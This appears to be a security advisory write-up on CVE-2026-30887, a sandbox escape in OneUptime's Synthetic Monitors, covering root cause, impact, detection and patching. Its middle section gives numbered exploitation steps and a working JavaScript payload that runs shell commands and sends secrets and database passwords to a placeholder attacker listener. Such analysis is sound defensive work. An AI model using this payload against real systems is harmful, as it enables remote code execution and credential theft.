CVE-2026-30887: 
JavaScript vulnerability analysis and mitigation

CVE-2026-30887 is a critical sandbox escape and remote code execution (RCE) vulnerability in OneUptime, an open-source monitoring and incident management platform. The flaw exists in all versions prior to 10.0.18 and allows any authenticated project member to execute arbitrary system commands on the oneuptime-probe container by injecting malicious JavaScript into the Synthetic Monitors feature. It was published on March 6, 2026, and patched in version 10.0.18. The vulnerability carries a CVSS v3.1 base score of 9.9 (Critical) (GitHub Advisory, OneUptime Advisory).

The root cause (CWE-94: Code Injection) lies in Common/Server/Utils/VM/VMRunner.ts, where user-supplied JavaScript from the Playwright script editor is passed directly to vm.runInContext() — a Node.js API that is explicitly documented as not a security boundary and unsuitable for running untrusted code. An attacker exploits a standard prototype-chain escape technique using this.constructor.constructor('return process')() to break out of the sandbox context and obtain a reference to the host Node.js process object. From there, proc.mainModule.require('child_process') can be called to execute arbitrary shell commands, and sensitive environment variables such as ONEUPTIME_SECRET and DATABASE_PASSWORD can be read and exfiltrated. No AST filtering, allow-listing, or secure isolation (e.g., isolated-vm or a dedicated restricted container) is applied to user-submitted code (OneUptime Advisory, GitHub Advisory).

Successful exploitation grants an attacker arbitrary command execution on the oneuptime-probe container, full read access to all environment variables (including database passwords and cluster secrets), and the ability to exfiltrate data to external servers via the native http module. Because the probe container holds credentials for the broader database and Kubernetes/container cluster, a single exploit can escalate to complete cluster compromise. Confidentiality, integrity, and availability are all fully impacted, and the changed scope metric reflects that the blast radius extends well beyond the initially compromised component (OneUptime Advisory, GitHub Advisory).

A detailed, step-by-step proof-of-concept exploit with a working JavaScript payload is publicly available in the official GitHub Security Advisory (OneUptime Advisory). Because OneUptime enables open registration by default, an external unauthenticated attacker can self-register, create a project, and immediately exploit the vulnerability — effectively making this exploitable without pre-existing credentials. The EPSS score is approximately 0.047–0.073%, and there is no current evidence of in-the-wild exploitation or CISA KEV catalog listing as of the time of reporting (GitHub Advisory, Feedly).

1. Account Creation / Authentication: If open registration is enabled (the default), register a new account on the target OneUptime instance. Otherwise, use any compromised or low-privilege "Project Member" credentials to log in.
2. Navigate to Monitor Creation: From the dashboard, go to Monitors > Create New Monitor.
3. Select Synthetic Monitor: Choose Synthetic Monitor as the monitor type, then select Chromium for Browser Types and Desktop for Screen Size Types.
4. Inject Malicious Payload: Scroll to the Playwright Code editor, clear the default template, and paste the following payload:

return new Promise((resolve) => {
  try {
    const proc = this.constructor.constructor('return process')();
    const cp = proc.mainModule.require('child_process');
    const output = cp.execSync('ls -la /usr/src/app').toString();
    const secret = proc.env.ONEUPTIME_SECRET;
    const db_pass = proc.env.DATABASE_PASSWORD;
    const http_real = proc.mainModule.require('http');
    const req = http_real.request({
      hostname: 'YOUR_OAST_OR_BURP_COLLABORATOR_URL_HERE',
      port: 80, path: '/', method: 'POST'
    }, (res) => { resolve('STATUS: ' + res.statusCode); });
    req.on('error', (e) => resolve('ERROR: ' + e.message));
    req.write(JSON.stringify({ rce_output: output, secret: secret, db: db_pass }));
    req.end();
  } catch(e) { resolve('CRITICAL_ERROR: ' + e.message); }
});

5. Save and Wait: Click Save. Within approximately 60 seconds, the probe worker picks up the monitor and executes the code.
6. Receive Exfiltrated Data: The probe sends a POST request containing command output, ONEUPTIME_SECRET, and DATABASE_PASSWORD to the attacker-controlled listener, enabling full cluster credential access (OneUptime Advisory).

• Network: Unexpected outbound HTTP POST requests from the oneuptime-probe container to external/unknown IP addresses or domains, particularly to OAST/Burp Collaborator-style endpoints; unusual DNS lookups originating from the probe container.
• Logs: Probe execution logs showing Synthetic Monitor runs with abnormally long execution times or unexpected output; Node.js error traces referencing child_process, execSync, or prototype chain traversal in probe logs.
• Process: Unexpected child processes spawned by the Node.js probe process (e.g., /bin/sh, ls, curl, wget, bash) visible via container process inspection (docker top or kubectl exec).
• Environment / Secrets: Evidence of ONEUPTIME_SECRET or DATABASE_PASSWORD appearing in outbound network traffic or external logs; unauthorized access to the database using credentials stored in probe environment variables.
• File System: Unexpected files written to /usr/src/app or other directories within the probe container by the Node.js process (OneUptime Advisory).

Upgrade OneUptime to version 10.0.18 or later, which contains the official fix for this vulnerability (GitHub Advisory). As an interim workaround, restrict access to the Synthetic Monitors feature to only fully trusted project members, and disable open registration to prevent unauthenticated attackers from self-enrolling. Additionally, implement network egress controls on the oneuptime-probe container to block unauthorized outbound connections, and rotate all secrets stored in probe environment variables (e.g., ONEUPTIME_SECRET, DATABASE_PASSWORD) if exploitation is suspected (Feedly).

The vulnerability was reported by security researcher hunterxsirago1 and published by the OneUptime maintainer (simlarsen) on March 6, 2026 (OneUptime Advisory). Security blogs including Yazoul and CyberHub covered the issue, emphasizing the severity of the cluster-wide credential exposure and the ease of exploitation via the default open-registration setting (Yazoul, CyberHub). Community discussion on Infosec.exchange also noted the critical nature of the sandbox escape and the public PoC availability.